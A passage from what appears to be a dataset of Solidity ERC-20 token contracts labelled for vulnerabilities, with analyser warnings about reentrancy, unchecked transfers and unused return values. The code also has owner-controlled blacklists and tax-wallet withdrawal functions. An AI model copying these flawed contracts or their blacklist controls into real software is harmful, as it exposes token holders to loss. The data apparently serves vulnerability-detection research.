notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 07031d4\n\t\t// reentrancy-events | ID: 25ff593\n\t\t// reentrancy-benign | ID: 8b5660d\n\t\t// reentrancy-eth | ID: 02587ca\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 07031d4\n\t\t// reentrancy-events | ID: 25ff593\n\t\t// reentrancy-eth | ID: 02587ca\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ae45655): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ae45655: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ecfb54e): Fred.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ecfb54e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5959714): Fred.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5959714: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6e2c221): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6e2c221: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ae45655\n\t\t// reentrancy-eth | ID: 6e2c221\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ae45655\n\t\t// unused-return | ID: ecfb54e\n\t\t// reentrancy-eth | ID: 6e2c221\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ae45655\n\t\t// unused-return | ID: 5959714\n\t\t// reentrancy-eth | ID: 6e2c221\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ae45655\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6e2c221\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 383ebb4): Fred.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 383ebb4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 383ebb4\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10086.sol",
"size_bytes": 19815,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ginger is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7f4ca5c): Ginger._taxWallet should be immutable \n\t// Recommendation for 7f4ca5c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: de51a60): Ginger._initialBuyTax should be constant \n\t// Recommendation for de51a60: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdb4c91): Ginger._initialSellTax should be constant \n\t// Recommendation for fdb4c91: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c5a188): Ginger._reduceBuyTaxAt should be constant \n\t// Recommendation for 7c5a188: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8bfc66): Ginger._reduceSellTaxAt should be constant \n\t// Recommendation for d8bfc66: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: f84a814): Ginger._preventSwapBefore should be constant \n\t// Recommendation for f84a814: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 28;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pedro Raccoon\";\n\n string private constant _symbol = unicode\"Ginger\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee6208f): Ginger._taxSwapThreshold should be constant \n\t// Recommendation for ee6208f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5f7609): Ginger._maxTaxSwap should be constant \n\t// Recommendation for e5f7609: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 11000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xC4b6Fb79dee13f510c63cBB2446e8Ec6733F5acC);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e763418): Ginger.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e763418: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b9afe1b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b9afe1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf8487a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf8487a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b9afe1b\n\t\t// reentrancy-benign | ID: bf8487a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b9afe1b\n\t\t// reentrancy-benign | ID: bf8487a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222b012): Ginger._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 222b012: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: bf8487a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b9afe1b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b4cbd05): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b4cbd05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f374f8b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f374f8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b4cbd05\n\t\t\t\t// reentrancy-eth | ID: f374f8b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b4cbd05\n\t\t\t\t\t// reentrancy-eth | ID: f374f8b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f374f8b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f374f8b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f374f8b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b4cbd05\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f374f8b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f374f8b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b4cbd05\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b4cbd05\n\t\t// reentrancy-events | ID: b9afe1b\n\t\t// reentrancy-benign | ID: bf8487a\n\t\t// reentrancy-eth | ID: f374f8b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b4cbd05\n\t\t// reentrancy-events | ID: b9afe1b\n\t\t// reentrancy-eth | ID: f374f8b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 30ef05d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 30ef05d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9645425): Ginger.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9645425: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c860c14): Ginger.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c860c14: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f4db503): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f4db503: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 30ef05d\n\t\t// reentrancy-eth | ID: f4db503\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 30ef05d\n\t\t// unused-return | ID: c860c14\n\t\t// reentrancy-eth | ID: f4db503\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 30ef05d\n\t\t// unused-return | ID: 9645425\n\t\t// reentrancy-eth | ID: f4db503\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 30ef05d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f4db503\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10087.sol",
"size_bytes": 19881,
"vulnerability": 4
} |
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